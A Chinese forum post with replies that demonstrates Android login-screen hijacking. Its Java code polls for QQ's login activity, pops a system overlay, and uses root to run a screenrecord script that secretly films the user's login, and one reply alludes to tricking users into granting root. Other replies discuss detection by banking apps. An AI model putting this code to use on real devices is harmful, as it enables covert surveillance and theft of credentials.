简单的实现app界面劫持和后台监控
如今越来越多的手机玩家都为了折腾一些稀奇古怪的东西,或出于好奇,或出于贪心,往往会root手机去尝试安装一些外挂,刷分,刷粉,修改版等等乱七八糟的东西正因为此类用户的存在,一些小人就盯上了这方面的市场,去开发一些盗取财产,密码,锁机等等
今天我就给大家看一个简单的劫持
当打开QQ登录界面时,提示界面被劫持了
这是如何实现呢,其实很简单,当我们安装了不正常的app,app后台会开启一个后台服务,用于循环检测当前顶层页面是否是我们需要劫持的,如果不是,继续检测
new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
while (true) {
ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List<RunningTaskInfo> tasks = am.getRunningTasks(1);
if (tasks.get(0).topActivity.getClassName().equals("com.tencent.mobileqq.activity.LoginActivity")) {
inject();
RunAsRooter();
break;
}
try {
Thread.sleep(500);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
Looper.loop();
}
}).start();
因为考虑到弹窗是需要在主线程中执行的,所以必须调用Looper,每次检测的间隔时间为500毫秒,必须过多检测导致系统卡顿,
检测到后就开启一个弹窗
private void inject() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("提示");
builder.setMessage("你的界面已经被劫持了");
final AlertDialog dialog = builder.create();
dialog.getWindow().setType((WindowManager.LayoutParams.TYPE_SYSTEM_ALERT));
dialog.show();
}
由于是全局弹窗,所以必须设置为系统级弹窗,同时需要注意添加权限
{:301_976:}so easy
那如何实现后台监控呢,我这里的思路是实现后台录像,安卓4.4以上系统就自带录像功能了,实现方式也能简单
private void RunAsRooter() {
try {
Runtime.getRuntime().exec("su -c /sdcard/run.sh").waitFor();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
调用root权限执行sd卡下的一个脚本文件,那这个脚本代码是什么呢,也就一行代码
screenrecord --time-limit 30 /sdcard/demo.mp4
调用system/bin下的可执行文件进行录像,这里设置的时间为30秒,保存在sd卡下,所以这里也需要设置相关权限
{:301_1003:}
当打开QQ登录页面时,后台自动开启录像,这样你的一举一动我就全部知道了
我也写过类似的工具,而且也有这方面的样本,不过呢,现在很多应用都注意到这点了,尤其是银行类应用,会在Activity的onPause()方法中加入检测代码,一旦发现置顶窗口非自己的应用了,则会进行提示。
第二个录像需要root权限,就看如何欺骗用户获取root权限了,不过方法也是很多的{:1_912:} yege0201 发表于 2016-4-28 22:12
我也写过类似的工具,而且也有这方面的样本,不过呢,现在很多应用都注意到这点了,尤其是银行类应用,会在 ...
很难骗的,一般系统都会提示是重要的权限,轻易不要同意 前排 膜拜空空妞(牛)这样的东西小米有安全中心能查到的么- -
#最知攻,方知防# 攻防一直在不断的进化和对抗! 支持楼主分享,教大家防范
在教防范的同时又教会了不怀好意 好吧,思路不错。但局限性太大。比如知道了密码又不能盗QB 哈哈
而且只有小白才会安装无名软件 前排膜拜 好高级的样子 看了你的帖子。突然好像学Android啊{:301_1003:} 谢谢LZLZ java玩的很6